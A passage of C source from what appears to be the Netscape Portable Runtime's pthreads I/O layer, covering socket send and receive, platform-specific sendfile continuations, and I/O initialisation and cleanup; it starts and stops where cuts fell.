(char*)op->arg2.buffer; bp += bytes; /* adjust the buffer pointer */ op->arg2.buffer = bp; op->result.code += bytes; /* accumulate the number sent */ op->arg3.amount -= bytes; /* and reduce the required count */ return (0 == op->arg3.amount) ? PR_TRUE : PR_FALSE; } else if ((EWOULDBLOCK != op->syserrno) && (EAGAIN != op->syserrno)) { op->result.code = -1; return PR_TRUE; } else return PR_FALSE; } /* pt_sendto_cont */ static PRBool pt_recvfrom_cont(pt_Continuation *op, PRInt16 revents) { pt_SockLen addr_len = sizeof(PRNetAddr); op->result.code = recvfrom( op->arg1.osfd, op->arg2.buffer, op->arg3.amount, op->arg4.flags, (struct sockaddr*)op->arg5.addr, &addr_len); op->syserrno = errno; return ((-1 == op->result.code) && (EWOULDBLOCK == op->syserrno || EAGAIN == op->syserrno)) ? PR_FALSE : PR_TRUE; } /* pt_recvfrom_cont */ #ifdef AIX static PRBool pt_aix_sendfile_cont(pt_Continuation *op, PRInt16 revents) { struct sf_parms *sf_struct = (struct sf_parms *) op->arg2.buffer; ssize_t rv; unsigned long long saved_file_offset; long long saved_file_bytes; saved_file_offset = sf_struct->file_offset; saved_file_bytes = sf_struct->file_bytes; sf_struct->bytes_sent = 0; if ((sf_struct->file_bytes > 0) && (sf_struct->file_size > 0)) PR_ASSERT((sf_struct->file_bytes + sf_struct->file_offset) <= sf_struct->file_size); rv = AIX_SEND_FILE(&op->arg1.osfd, sf_struct, op->arg4.flags); op->syserrno = errno; if (rv != -1) { op->result.code += sf_struct->bytes_sent; /* * A bug in AIX 4.3.2 prevents the 'file_bytes' field from * being updated. So, 'file_bytes' is maintained by NSPR to * avoid conflict when this bug is fixed in AIX, in the future. */ if (saved_file_bytes != -1) saved_file_bytes -= (sf_struct->file_offset - saved_file_offset); sf_struct->file_bytes = saved_file_bytes; } else if (op->syserrno != EWOULDBLOCK && op->syserrno != EAGAIN) { op->result.code = -1; } else { return PR_FALSE; } if (rv == 1) { /* more data to send */ return PR_FALSE; } return PR_TRUE; } #endif /* AIX */ #ifdef HPUX11 static PRBool pt_hpux_sendfile_cont(pt_Continuation *op, PRInt16 revents) { struct iovec *hdtrl = (struct iovec *) op->arg2.buffer; int count; count = sendfile(op->arg1.osfd, op->filedesc, op->arg3.file_spec.offset, op->arg3.file_spec.nbytes, hdtrl, op->arg4.flags); PR_ASSERT(count <= op->nbytes_to_send); op->syserrno = errno; if (count != -1) { op->result.code += count; } else if (op->syserrno != EWOULDBLOCK && op->syserrno != EAGAIN) { op->result.code = -1; } else { return PR_FALSE; } if (count != -1 && count < op->nbytes_to_send) { if (count < hdtrl[0].iov_len) { /* header not sent */ hdtrl[0].iov_base = ((char *) hdtrl[0].iov_base) + count; hdtrl[0].iov_len -= count; } else if (count < (hdtrl[0].iov_len + op->arg3.file_spec.nbytes)) { /* header sent, file not sent */ PRUint32 file_nbytes_sent = count - hdtrl[0].iov_len; hdtrl[0].iov_base = NULL; hdtrl[0].iov_len = 0; op->arg3.file_spec.offset += file_nbytes_sent; op->arg3.file_spec.nbytes -= file_nbytes_sent; } else if (count < (hdtrl[0].iov_len + op->arg3.file_spec.nbytes + hdtrl[1].iov_len)) { PRUint32 trailer_nbytes_sent = count - (hdtrl[0].iov_len + op->arg3.file_spec.nbytes); /* header sent, file sent, trailer not sent */ hdtrl[0].iov_base = NULL; hdtrl[0].iov_len = 0; /* * set file offset and len so that no more file data is * sent */ op->arg3.file_spec.offset = op->arg3.file_spec.st_size; op->arg3.file_spec.nbytes = 0; hdtrl[1].iov_base =((char *) hdtrl[1].iov_base)+ trailer_nbytes_sent; hdtrl[1].iov_len -= trailer_nbytes_sent; } op->nbytes_to_send -= count; return PR_FALSE; } return PR_TRUE; } #endif /* HPUX11 */ #ifdef SOLARIS static PRBool pt_solaris_sendfile_cont(pt_Continuation *op, PRInt16 revents) { struct sendfilevec *vec = (struct sendfilevec *) op->arg2.buffer; size_t xferred; ssize_t count; count = SOLARIS_SENDFILEV(op->arg1.osfd, vec, op->arg3.amount, &xferred); op->syserrno = errno; PR_ASSERT((count == -1) || (count == xferred)); if (count == -1) { if (op->syserrno != EWOULDBLOCK && op->syserrno != EAGAIN && op->syserrno != EINTR) { op->result.code = -1; return PR_TRUE; } count = xferred; } else if (count == 0) { /* * We are now at EOF. The file was truncated. Solaris sendfile is * supposed to return 0 and no error in this case, though some versions * may return -1 and EINVAL . */ op->result.code = -1; op->syserrno = 0; /* will be treated as EOF */ return PR_TRUE; } PR_ASSERT(count <= op->nbytes_to_send); op->result.code += count; if (count < op->nbytes_to_send) { op->nbytes_to_send -= count; while (count >= vec->sfv_len) { count -= vec->sfv_len; vec++; op->arg3.amount--; } PR_ASSERT(op->arg3.amount > 0); vec->sfv_off += count; vec->sfv_len -= count; PR_ASSERT(vec->sfv_len > 0); op->arg2.buffer = vec; return PR_FALSE; } return PR_TRUE; } #endif /* SOLARIS */ #ifdef LINUX static PRBool pt_linux_sendfile_cont(pt_Continuation *op, PRInt16 revents) { ssize_t rv; off_t oldoffset; oldoffset = op->offset; rv = sendfile(op->arg1.osfd, op->in_fd, &op->offset, op->count); op->syserrno = errno; if (rv == -1) { if (op->syserrno != EWOULDBLOCK && op->syserrno != EAGAIN) { op->result.code = -1; return PR_TRUE; } rv = 0; } PR_ASSERT(rv == op->offset - oldoffset); op->result.code += rv; if (rv < op->count) { op->count -= rv; return PR_FALSE; } return PR_TRUE; } #endif /* LINUX */ void _PR_InitIO(void) { #if defined(DEBUG) memset(&pt_debug, 0, sizeof(PTDebug)); pt_debug.timeStarted = PR_Now(); #endif _pr_flock_lock = PR_NewLock(); PR_ASSERT(NULL != _pr_flock_lock); _pr_flock_cv = PR_NewCondVar(_pr_flock_lock); PR_ASSERT(NULL != _pr_flock_cv); _pr_rename_lock = PR_NewLock(); PR_ASSERT(NULL != _pr_rename_lock); _PR_InitFdCache(); /* do that */ _pr_stdin = pt_SetMethods(0, PR_DESC_FILE, PR_FALSE, PR_TRUE); _pr_stdout = pt_SetMethods(1, PR_DESC_FILE, PR_FALSE, PR_TRUE); _pr_stderr = pt_SetMethods(2, PR_DESC_FILE, PR_FALSE, PR_TRUE); PR_ASSERT(_pr_stdin && _pr_stdout && _pr_stderr); #ifdef _PR_IPV6_V6ONLY_PROBE /* In Mac OS X v10.3 Panther Beta the IPV6_V6ONLY socket option * is turned on by default, contrary to what RFC 3493, Section * 5.3 says. So we have to turn it off. Find out whether we * are running on such a system. */ { int osfd; osfd = socket(AF_INET6, SOCK_STREAM, 0); if (osfd != -1) { int on; int optlen = sizeof(on); if (getsockopt(osfd, IPPROTO_IPV6, IPV6_V6ONLY, &on, &optlen) == 0) { _pr_ipv6_v6only_on_by_default = on; } close(osfd); } } #endif } /* _PR_InitIO */ void _PR_CleanupIO(void) { _PR_Putfd(_pr_stdin); _pr_stdin = NULL; _PR_Putfd(_pr_stdout); _pr_stdout = NULL; _PR_Putfd(_pr_stderr); _pr_stderr = NULL; _PR_CleanupFdCache(); if (_pr_flock_cv) { PR_DestroyCondVar(_pr_flock_cv); _pr_flock_cv = NULL; } if (_pr_flock_lock) { PR_DestroyLock(_pr_flock_lock); _pr_flock_lock = NULL; } if (_pr_rename_lock) { PR_DestroyLock(_pr_rename_lock); _pr_rename_lock = NULL; } } /* _PR_CleanupIO */ PR_IMPLEMENT(PRFileDesc*) PR_GetSpecialFD(PRSpecialFD osfd) { PRFileDesc *result = NULL; PR_ASSERT(osfd >= PR_StandardInput && osfd <= PR_StandardError); if (!_pr_initialized) _PR_ImplicitInitialization(); switch (osfd) { case PR_StandardInput: result = _pr_stdin; break; case PR_StandardOutput: result = _pr_stdout; break; case PR_StandardError: result = _pr_stderr; break; default: (void)PR_SetError(PR_INVALID_ARGUMENT_ERROR, 0); } return result; } /* PR_GetSpecialFD */ /*****************************************************************************/ /***************************** I/O private methods ***************************/ /*****************************************************************************/ static PRBool pt_TestAbort(void) { PRThread *me = PR_GetCurrentThread(); if(_PT_THREAD_INTERRUPTED(me)) { PR_SetError(PR_PENDING_INTERRUPT_ERROR, 0); me->state &= ~PT_THREAD_ABORTED; return PR_TRUE; } return PR_FALSE; } /* pt_TestAbort */ static void pt_MapError(void (*mapper)(PRIntn), PRIntn syserrno) { switch (syserrno) { case EINTR: PR_SetError(PR_PENDING_INTERRUPT_ERROR, 0); break; case ETIMEDOUT: PR_SetError(PR_IO_TIMEOUT_ERROR, 0); break; default: mapper(syserrno); } } /* pt_MapError */ static PRStatus pt_Close(PRFileDesc *fd) { if ((NULL == fd) || (NULL == fd->secret) || ((_PR_FILEDESC_OPEN != fd->secret->state) && (_PR_FILEDESC_CLOSED != fd->secret->state))) { PR_SetError(PR_BAD_DESCRIPTOR_ERROR, 0); return PR_FAILURE; } if (pt_TestAbort()) return PR_FAILURE; if (_PR_FILEDESC_OPEN == fd->secret->state) { if (-1 == close(fd->secret->md.osfd)) { #ifdef OSF1 /* * Bug 86941: On Tru64 UNIX V5.0A and V5.1, the close() * system call, when called to close a TCP socket, may * return -1 with errno set to EINVAL but the system call * does close the socket successfully. An application * may safely ignore the EINVAL error. This bug is fixed * on Tru64 UNIX V5.1A and later. The defect tracking * number is QAR 81431. */ if (PR_DESC_SOCKET_TCP != fd->methods->file_type || EINVAL != errno) { pt_MapError(_PR_MD_MAP_CLOSE_ERROR, errno); return PR_FAILURE; } #else pt_MapError(_PR_MD_MAP_CLOSE_ERROR, errno); return PR_FAILURE; #endif } fd->secret->state = _PR_FILEDESC_CLOSED; } _PR_Putfd(fd); return PR_SUCCESS; } /* pt_Close */ static PRInt32 pt_Read(PRFileDesc *fd, void *buf, PRInt32 amount) { PRInt32 syserrno, bytes = -1; if (pt_TestAbort()) return bytes; bytes = read(fd->secret->md.osfd, buf, amount); syserrno = errno; if ((bytes == -1) && (syserrno == EWOULDBLOCK || syserrno == EAGAIN) && (!fd->secret->nonblocking)) { pt_Continuation op; op.arg1.osfd = fd->secret->md.osfd; op.arg2.buffer = buf; op.arg3.amount = amount; op.timeout = PR_INTERVAL_NO_TIMEOUT; op.function = pt_read_cont; op.event = POLLIN | POLLPRI; bytes = pt_Continue(&op); syserrno = op.syserrno; } if (bytes < 0) pt_MapError(_PR_MD_MAP_READ_ERROR, syserrno); return bytes; } /* pt_Read */ static PRInt32 pt_Write(PRFileDesc *fd, const void *buf, PRInt32 amount) { PRInt32 syserrno, bytes = -1; PRBool fNeedContinue = PR_FALSE; if (pt_TestAbort()) return bytes; bytes = write(fd->secret->md.osfd, buf, amount); syserrno = errno; if ( (bytes >= 0) && (bytes < amount) && (!fd->secret->nonblocking) ) { buf = (char *) buf + bytes; amount -= bytes; fNeedContinue = PR_TRUE; } if ( (bytes == -1) && (syserrno == EWOULDBLOCK || syserrno == EAGAIN) && (!fd->secret->nonblocking) ) { bytes = 0; fNeedContinue = PR_TRUE; } if (fNeedContinue == PR_TRUE) { pt_Continuation op; op.arg1.osfd = fd->secret->md.osfd; op.arg2.buffer = (void*)buf; op.arg3.amount = amount; op.timeout = PR_INTERVAL_NO_TIMEOUT; op.result.code = bytes; /* initialize the number sent */ op.function = pt_write_cont; op.event = POLLOUT | POLLPRI; bytes = pt_Continue(&op); syserrno = op.syserrno; } if (bytes == -1) pt_MapError(_PR_MD_MAP_WRITE_ERROR, syserrno); return bytes; } /* pt_Write */ static PRInt32 pt_Writev( PRFileDesc *fd, const PRIOVec *iov, PRInt32 iov_len, PRIntervalTime timeout) { PRIntn iov_index; PRBool fNeedContinue = PR_FALSE; PRInt32 syserrno, bytes, rv = -1; struct iovec osiov_local[PR_MAX_IOVECTOR_SIZE], *osiov; int osiov_len; if (pt_TestAbort()) return rv; /* Ensured by PR_Writev */ PR_ASSERT(iov_len <= PR_MAX_IOVECTOR_SIZE); /* * We can't pass iov to writev because PRIOVec and struct iovec * may not be binary compatible. Make osiov a copy of iov and * pass osiov to writev. We can modify osiov if we need to * continue the operation. */ osiov = osiov_local; osiov_len = iov_len; for (iov_index = 0; iov_index < osiov_len; iov_index++) { osiov[iov_index].iov_base = iov[iov_index].iov_base; osiov[iov_index].iov_len = iov[iov_index].iov_len; } rv = bytes = writev(fd->secret->md.osfd, osiov, osiov_len); syserrno = errno; if (!fd->secret->nonblocking) { if (bytes >= 0) { /* * If we moved some bytes, how does that implicate the * i/o vector list? In other words, exactly where are * we within that array? What are the parameters for * resumption? Maybe we're done! */ for ( ;osiov_len > 0; osiov++, osiov_len--) { if (bytes < osiov->iov_len) { /* this one's not done yet */ osiov->iov_base = (char*)osiov->iov_base + bytes; osiov->iov_len -= bytes; break; /* go off and do that */ } bytes -= osiov->iov_len; /* this one's done cooked */ } PR_ASSERT(osiov_len > 0 || bytes == 0); if (osiov_len > 0) { if (PR_INTERVAL_NO_WAIT == timeout) { rv = -1; syserrno = ETIMEDOUT; } else fNeedContinue = PR_TRUE; } } else if (syserrno == EWOULDBLOCK || syserrno == EAGAIN) { if (PR_INTERVAL_NO_WAIT == timeout) syserrno = ETIMEDOUT; else { rv = 0; fNeedContinue = PR_TRUE; } } } if (fNeedContinue == PR_TRUE) { pt_Continuation op; op.arg1.osfd = fd->secret->md.osfd; op.arg2.buffer = (void*)osiov; op.arg3.amount = osiov_len; op.timeout = timeout; op.result.code = rv; op.function = pt_writev_cont; op.event = POLLOUT | POLLPRI; rv = pt_Continue(&op); syserrno = op.syserrno; } if (rv == -1) pt_MapError(_PR_MD_MAP_WRITEV_ERROR, syserrno); return rv; } /* pt_Writev */ static PRInt32 pt_Seek(PRFileDesc *fd, PRInt32 offset, PRSeekWhence whence) { return _PR_MD_LSEEK(fd, offset, whence); } /* pt_Seek */ static PRInt64 pt_Seek64(PRFileDesc *fd, PRInt64 offset, PRSeekWhence whence) { return _PR_MD_LSEEK64(fd, offset, whence); } /* pt_Seek64 */ static PRInt32 pt_Available_f(PRFileDesc *fd) { PRInt32 result, cur, end; cur = _PR_MD_LSEEK(fd, 0, PR_SEEK_CUR); if (cur >= 0) end = _PR_MD_LSEEK(fd, 0, PR_SEEK_END); if ((cur < 0) || (end < 0)) { return -1; } result = end - cur; _PR_MD_LSEEK(fd, cur, PR_SEEK_SET); return result; } /* pt_Available_f */ static PRInt64 pt_Available64_f(PRFileDesc *fd) { PRInt64 result, cur, end; PRInt64 minus_one; LL_I2L(minus_one, -1); cur = _PR_MD_LSEEK64(fd, LL_ZERO, PR_SEEK_CUR); if (LL_GE_ZERO(cur)) end = _PR_MD_LSEEK64(fd, LL_ZERO, PR_SEEK_END); if (!LL_GE_ZERO(cur) || !LL_GE_ZERO(end)) return minus_one; LL_SUB(result, end, cur); (void)_PR_MD_LSEEK64(fd, cur, PR_SEEK_SET); return result; } /* pt_Available64_f */ static PRInt32 pt_Available_s(PRFileDesc *fd) { PRInt32 rv, bytes = -1; if (pt_TestAbort()) return bytes; rv = ioctl(fd->secret->md.osfd, FIONREAD, &bytes); if (rv == -1) pt_MapError(_PR_MD_MAP_SOCKETAVAILABLE_ERROR, errno); return bytes; } /* pt_Available_s */ static PRInt64 pt_Available64_s(PRFileDesc *fd) { PRInt64 rv; LL_I2L(rv, pt_Available_s(fd)); return rv; } /* pt_Available64_s */ static PRStatus pt_FileInfo(PRFileDesc *fd, PRFileInfo *info) { PRInt32 rv = _PR_MD_GETOPENFILEINFO(fd, info); return (-1 == rv) ? PR_FAILURE : PR_SUCCESS; } /* pt_FileInfo */ static PRStatus pt_FileInfo64(PRFileDesc *fd, PRFileInfo64 *info) { PRInt32 rv = _PR_MD_GETOPENFILEINFO64(fd, info); return (-1 == rv) ? PR_FAILURE : PR_SUCCESS; } /* pt_FileInfo64 */ static PRStatus pt_Synch(PRFileDesc *fd) { return (NULL == fd) ? PR_FAILURE : PR_SUCCESS; } /* pt_Synch */ static PRStatus pt_Fsync(PRFileDesc *fd) { PRIntn rv = -1; if (pt_TestAbort()) return PR_FAILURE; rv = fsync(fd->secret->md.osfd); if (rv < 0) { pt_MapError(_PR_MD_MAP_FSYNC_ERROR, errno); return PR_FAILURE; } return PR_SUCCESS; } /* pt_Fsync */ static PRStatus pt_Connect( PRFileDesc *fd, const PRNetAddr *addr, PRIntervalTime timeout) { PRIntn rv = -1, syserrno; pt_SockLen addr_len; const PRNetAddr *addrp = addr; #if defined(_PR_HAVE_SOCKADDR_LEN) || defined(_PR_INET6) PRUint16 md_af = addr->raw.family; PRNetAddr addrCopy; #endif if (pt_TestAbort()) return PR_FAILURE; PR_ASSERT(IsValidNetAddr(addr) == PR_TRUE); addr_len = PR_NETADDR_SIZE(addr); #if defined(_PR_INET6) if (addr->raw.family == PR_AF_INET6) { md_af = AF_INET6; #ifndef _PR_HAVE_SOCKADDR_LEN addrCopy = *addr; addrCopy.raw.family = AF_INET6; addrp = &addrCopy; #endif } #endif #ifdef _PR_HAVE_SOCKADDR_LEN addrCopy = *addr; ((struct sockaddr*)&addrCopy)->sa_len = addr_len; ((struct sockaddr*)&addrCopy)->sa_family = md_af; addrp = &addrCopy; #endif rv = connect(fd->secret->md.osfd, (struct sockaddr*)addrp, addr_len); syserrno = errno; if ((-1 == rv) && (EINPROGRESS == syserrno) && (!fd->secret->nonblocking)) { if (PR_INTERVAL_NO_WAIT == timeout) syserrno = ETIMEDOUT; else { pt_Continuation op; op.arg1.osfd = fd->secret->md.osfd; op.arg2.buffer = (void*)addrp; op.arg3.amount = addr_len; op.timeout = timeout; op.function = pt_connect_cont; op.event = POLLOUT | POLLPRI; rv = pt_Continue(&op); syserrno = op.syserrno; } } if (-1 == rv) { pt_MapError(_PR_MD_MAP_CONNECT_ERROR, syserrno); return PR_FAILURE; } return PR_SUCCESS; } /* pt_Connect */ static PRStatus pt_ConnectContinue( PRFileDesc *fd, PRInt16 out_flags) { int err; PRInt32 osfd; if (out_flags & PR_POLL_NVAL) { PR_SetError(PR_BAD_DESCRIPTOR_ERROR, 0); return PR_FAILURE; } if ((out_flags & (PR_POLL_WRITE | PR_POLL_EXCEPT | PR_POLL_ERR)) == 0) { PR_ASSERT(out_flags == 0); PR_SetError(PR_IN_PROGRESS_ERROR, 0); return PR_FAILURE; } osfd = fd->secret->md.osfd; err = _MD_unix_get_nonblocking_connect_error(osfd); if (err != 0) { _PR_MD_MAP_CONNECT_ERROR(err); return PR_FAILURE; } return PR_SUCCESS; } /* pt_ConnectContinue */ PR_IMPLEMENT(PRStatus) PR_GetConnectStatus(const PRPollDesc *pd) { /* Find the NSPR layer and invoke its connectcontinue method */ PRFileDesc *bottom = PR_GetIdentitiesLayer(pd->fd, PR_NSPR_IO_LAYER); if (NULL == bottom) { PR_SetError(PR_INVALID_ARGUMENT_ERROR, 0); return PR_FAILURE; } return pt_ConnectContinue(bottom, pd->out_flags); } /* PR_GetConnectStatus */ static PRFileDesc* pt_Accept( PRFileDesc *fd, PRNetAddr *addr, PRIntervalTime timeout) { PRFileDesc *newfd = NULL; PRIntn syserrno, osfd = -1; pt_SockLen addr_len = sizeof(PRNetAddr); #ifdef SYMBIAN PRNetAddr dummy_addr; #endif if (pt_TestAbort()) return newfd; #ifdef SYMBIAN /* On Symbian OS, accept crashes if addr is NULL. */ if (!addr) addr = &dummy_addr; #endif #ifdef _PR_STRICT_ADDR_LEN if (addr) { /* * Set addr->raw.family just so that we can use the * PR_NETADDR_SIZE macro. */ addr->raw.family = fd->secret->af; addr_len = PR_NETADDR_SIZE(addr); } #endif osfd = accept(fd->secret->md.osfd, (struct sockaddr*)addr, &addr_len); syserrno = errno; if (osfd == -1) { if (fd->secret->nonblocking) goto failed; if (EWOULDBLOCK != syserrno && EAGAIN != syserrno && ECONNABORTED != syserrno) goto failed; else { if (PR_INTERVAL_NO_WAIT == timeout) syserrno = ETIMEDOUT; else { pt_Continuation op; op.arg1.osfd = fd->secret->md.osfd; op.arg2.buffer = addr; op.arg3.addr_len = &addr_len; op.timeout = timeout; op.function = pt_accept_cont; op.event = POLLIN | POLLPRI; osfd = pt_Continue(&op); syserrno = op.syserrno; } if (osfd < 0) goto failed; } } #ifdef _PR_HAVE_SOCKADDR_LEN /* ignore the sa_len field of struct sockaddr */ if (addr) { addr->raw.family = ((struct sockaddr*)addr)->sa_family; } #endif /* _PR_HAVE_SOCKADDR_LEN */ #ifdef _PR_INET6 if (addr && (AF_INET6 == addr->raw.family)) addr->raw.family = PR_AF_INET6; #endif newfd = pt_SetMethods(osfd, PR_DESC_SOCKET_TCP, PR_TRUE, PR_FALSE); if (newfd == NULL) close(osfd); /* $$$ whoops! this doesn't work $$$ */ else { PR_ASSERT(IsValidNetAddr(addr) == PR_TRUE); PR_ASSERT(IsValidNetAddrLen(addr, addr_len) == PR_TRUE); #ifdef LINUX /* * On Linux, experiments showed that the accepted sockets * inherit the TCP_NODELAY socket option of the listening * socket. */ newfd->secret->md.tcp_nodelay = fd->secret->md.tcp_nodelay; #endif } return newfd; failed: pt_MapError(_PR_MD_MAP_ACCEPT_ERROR, syserrno); return NULL; } /* pt_Accept */ static PRStatus pt_Bind(PRFileDesc *fd, const PRNetAddr *addr) { PRIntn rv; pt_SockLen addr_len; const PRNetAddr *addrp = addr; #if defined(_PR_HAVE_SOCKADDR_LEN) || defined(_PR_INET6) PRUint16 md_af = addr->raw.family; PRNetAddr addrCopy; #endif if (pt_TestAbort()) return PR_FAILURE; PR_ASSERT(IsValidNetAddr(addr) == PR_TRUE); if (addr->raw.family == AF_UNIX) { /* Disallow relative pathnames */ if (addr->local.path[0] != '/') { PR_SetError(PR_INVALID_ARGUMENT_ERROR, 0); return PR_FAILURE; } } #if defined(_PR_INET6) if (addr->raw.family == PR_AF_INET6) { md_af = AF_INET6; #ifndef _PR_HAVE_SOCKADDR_LEN addrCopy = *addr; addrCopy.raw.family = AF_INET6; addrp = &addrCopy; #endif } #endif addr_len = PR_NETADDR_SIZE(addr); #ifdef _PR_HAVE_SOCKADDR_LEN addrCopy = *addr; ((struct sockaddr*)&addrCopy)->sa_len = addr_len; ((struct sockaddr*)&addrCopy)->sa_family = md_af; addrp = &addrCopy; #endif rv = bind(fd->secret->md.osfd, (struct sockaddr*)addrp, addr_len); if (rv == -1) { pt_MapError(_PR_MD_MAP_BIND_ERROR, errno); return PR_FAILURE; } return PR_SUCCESS; } /* pt_Bind */ static PRStatus pt_Listen(PRFileDesc *fd, PRIntn backlog) { PRIntn rv; if (pt_TestAbort()) return PR_FAILURE; rv = listen(fd->secret->md.osfd, backlog); if (rv == -1) { pt_MapError(_PR_MD_MAP_LISTEN_ERROR, errno); return PR_FAILURE; } return PR_SUCCESS; } /* pt_Listen */ static PRStatus pt_Shutdown(PRFileDesc *fd, PRIntn how) { PRIntn rv = -1; if (pt_TestAbort()) return PR_FAILURE; rv = shutdown(fd->secret->md.osfd, how); if (rv == -1) { pt_MapError(_PR_MD_MAP_SHUTDOWN_ERROR, errno); return PR_FAILURE; } return PR_SUCCESS; } /* pt_Shutdown */ static PRInt16 pt_Poll(PRFileDesc *fd, PRInt16 in_flags, PRInt16 *out_flags) { *out_flags = 0; return in_flags; } /* pt_Poll */ static PRInt32 pt_Recv( PRFileDesc *fd, void *buf, PRInt32 amount, PRIntn flags, PRIntervalTime timeout) { PRInt32 syserrno, bytes = -1; PRIntn osflags; if (0 == flags) osflags = 0; else if (PR_MSG_PEEK == flags) { #ifdef SYMBIAN /* MSG_PEEK doesn't work as expected. */ PR_SetError(PR_NOT_IMPLEMENTED_ERROR, 0); return bytes; #else osflags = MSG_PEEK; #endif } else { PR_SetError(PR_INVALID_ARGUMENT_ERROR, 0); return bytes; } if (pt_TestAbort()) return bytes; /* recv() is a much slower call on pre-2.6 Solaris than read(). */ #if defined(SOLARIS) if (0 == osflags) bytes = read(fd->secret->md.osfd, buf, amount); else bytes = recv(fd->secret->md.osfd, buf, amount, osflags); #else bytes = recv(fd->secret->md.osfd, buf, amount, osflags); #endif syserrno = errno; if ((bytes == -1) && (syserrno == EWOULDBLOCK || syserrno == EAGAIN) && (!fd->secret->nonblocking)) { if (PR_INTERVAL_NO_WAIT == timeout) syserrno = ETIMEDOUT; else { pt_Continuation op; op.arg1.osfd = fd->secret->md.osfd; op.arg2.buffer = buf; op.arg3.amount = amount; op.arg4.flags = osflags; op.timeout = timeout; op.function = pt_recv_cont; op.event = POLLIN | POLLPRI; bytes = pt_Continue(&op); syserrno = op.syserrno; } } if (bytes < 0) pt_MapError(_PR_MD_MAP_RECV_ERROR, syserrno); return bytes; } /* pt_Recv */ static PRInt32 pt_SocketRead(PRFileDesc *fd, void *buf, PRInt32 amount) { return pt_Recv(fd, buf, amount, 0, PR_INTERVAL_NO_TIMEOUT); } /* pt_SocketRead */ static PRInt32 pt_Send( PRFileDesc *fd, const void *buf, PRInt32 amount, PRIntn flags, PRIntervalTime timeout) { PRInt32 syserrno, bytes = -1; PRBool fNeedContinue = PR_FALSE; #if defined(SOLARIS) PRInt32 tmp_amount = amount; #endif /* * Under HP-UX DCE threads, pthread.h includes dce/cma_ux.h, * which has the following: * # define send cma_send * extern int cma_send (int , void *, int, int ); * So we need to cast away the 'const' of argument #2 for send(). */ #if defined (HPUX) && defined(_PR_DCETHREADS) #define PT_SENDBUF_CAST (void *) #else #define PT_SENDBUF_CAST #endif if (pt_TestAbort()) return bytes; /* * On pre-2.6 Solaris, send() is much slower than write(). * On 2.6 and beyond, with in-kernel sockets, send() and * write() are fairly equivalent in performance. */ #if defined(SOLARIS) PR_ASSERT(0 == flags); retry: bytes = write(fd->secret->md.osfd, PT_SENDBUF_CAST buf, tmp_amount); #else bytes = send(fd->secret->md.osfd, PT_SENDBUF_CAST buf, amount, flags); #endif syserrno = errno; #if defined(SOLARIS) /* * The write system call has been reported to return the ERANGE error * on occasion. Try to write in smaller chunks to workaround this bug. */ if ((bytes == -1) && (syserrno == ERANGE)) { if (tmp_amount > 1) { tmp_amount = tmp_amount/2; /* half the bytes */ goto retry; } } #endif if ( (bytes >= 0) && (bytes < amount) && (!fd->secret->nonblocking) ) { if (PR_INTERVAL_NO_WAIT == timeout) { bytes = -1; syserrno = ETIMEDOUT; } else { buf = (char *) buf + bytes; amount -= bytes; fNeedContinue = PR_TRUE; } } if ( (bytes == -1) && (syserrno == EWOULDBLOCK || syserrno == EAGAIN) && (!fd->secret->nonblocking) ) { if (PR_INTERVAL_NO_WAIT == timeout) syserrno = ETIMEDOUT; else { bytes = 0; fNeedContinue = PR_TRUE; } } if (fNeedContinue == PR_TRUE) { pt_Continuation op; op.arg1.osfd = fd->secret->md.osfd; op.arg2.buffer = (void*)buf; op.arg3.amount = amount; op.arg4.flags = flags; op.timeout = timeout; op.result.code = bytes; /* initialize the number sent */ op.function = pt_send_cont; op.event = POLLOUT | POLLPRI; bytes = pt_Continue(&op); syserrno = op.syserrno; } if (bytes == -1) pt_MapError(_PR_MD_MAP_SEND_ERROR, syserrno); return bytes; } /* pt_Send */ static PRInt32 pt_SocketWrite(PRFileDesc *fd, const void *buf, PRInt32 amount) { return pt_Send(fd, buf, amount, 0, PR_INTERVAL_NO_TIMEOUT); } /* pt_SocketWrite */ static PRInt32 pt_SendTo( PRFileDesc *fd, const void *buf, PRInt32 amount, PRIntn flags, const PRNetAddr *addr, PRIntervalTime timeout) { PRInt32 syserrno, bytes = -1; PRBool fNeedContinue = PR_FALSE; pt_SockLen addr_len; const PRNetAddr *addrp = addr; #if defined(_PR_HAVE_SOCKADDR_LEN) || defined(_PR_INET6) PRUint16 md_af = addr->raw.family; PRNetAddr addrCopy; #endif if (pt_TestAbort()) return bytes; PR_ASSERT(IsValidNetAddr(addr) == PR_TRUE); #if defined(_PR_INET6) if (addr->raw.family == PR_AF_INET6) { md_af = AF_INET6; #ifndef _PR_HAVE_SOCKADDR_LEN addrCopy = *addr; addrCopy.raw.family = AF_INET6; addrp = &addrCopy; #endif } #endif addr_len = PR_NETADDR_SIZE(addr); #ifdef _PR_HAVE_SOCKADDR_LEN addrCopy = *addr; ((struct sockaddr*)&addrCopy)->sa_len = addr_len; ((struct sockaddr*)&addrCopy)->sa_family = md_af; addrp = &addrCopy; #endif bytes = sendto( fd->secret->md.osfd, buf, amount, flags, (struct sockaddr*)addrp, addr_len); syserrno = errno; if ( (bytes == -1) && (syserrno == EWOULDBLOCK || syserrno == EAGAIN) && (!fd->secret->nonblocking) ) { if (PR_INTERVAL_NO_WAIT == timeout) syserrno = ETIMEDOUT; else fNeedContinue = PR_TRUE; } if (fNeedContinue == PR_TRUE) { pt_Continuation op; op.arg1.osfd = fd->secret->md.osfd; op.arg2.buffer = (void*)buf; op.arg3.amount = amount; op.arg4.flags = flags; op.arg5.addr = (PRNetAddr*)addrp; op.timeout = timeout; op.result.code = 0; /* initialize the number sent */ op.function = pt_sendto_cont; op.event = POLLOUT | POLLPRI; bytes = pt_Continue(&op); syserrno = op.syserrno; } if (bytes < 0) pt_MapError(_PR_MD_MAP_SENDTO_ERROR, syserrno); return bytes; } /* pt_SendTo */ static PRInt32 pt_RecvFrom(PRFileDesc *fd, void *buf, PRInt32 amount, PRIntn flags, PRNetAddr *addr, PRIntervalTime timeout) { PRBool fNeedContinue = PR_FALSE; PRInt32 syserrno, bytes = -1; pt_SockLen addr_len = sizeof(PRNetAddr); if (pt_TestAbort()) return bytes; bytes = recvfrom( fd->secret->md.osfd, buf, amount, flags, (struct sockaddr*)addr, &addr_len); syserrno = errno; if ( (bytes == -1) && (syserrno == EWOULDBLOCK || syserrno == EAGAIN) && (!fd->secret->nonblocking) ) { if (PR_INTERVAL_NO_WAIT == timeout) syserrno = ETIMEDOUT; else fNeedContinue = PR_TRUE; } if (fNeedContinue == PR_TRUE) { pt_Continuation op; op.arg1.osfd = fd->secret->md.osfd; op.arg2.buffer = buf; op.arg3.amount = amount; op.arg4.flags = flags; op.arg5.addr = addr; op.timeout = timeout; op.function = pt_recvfrom_cont; op.event = 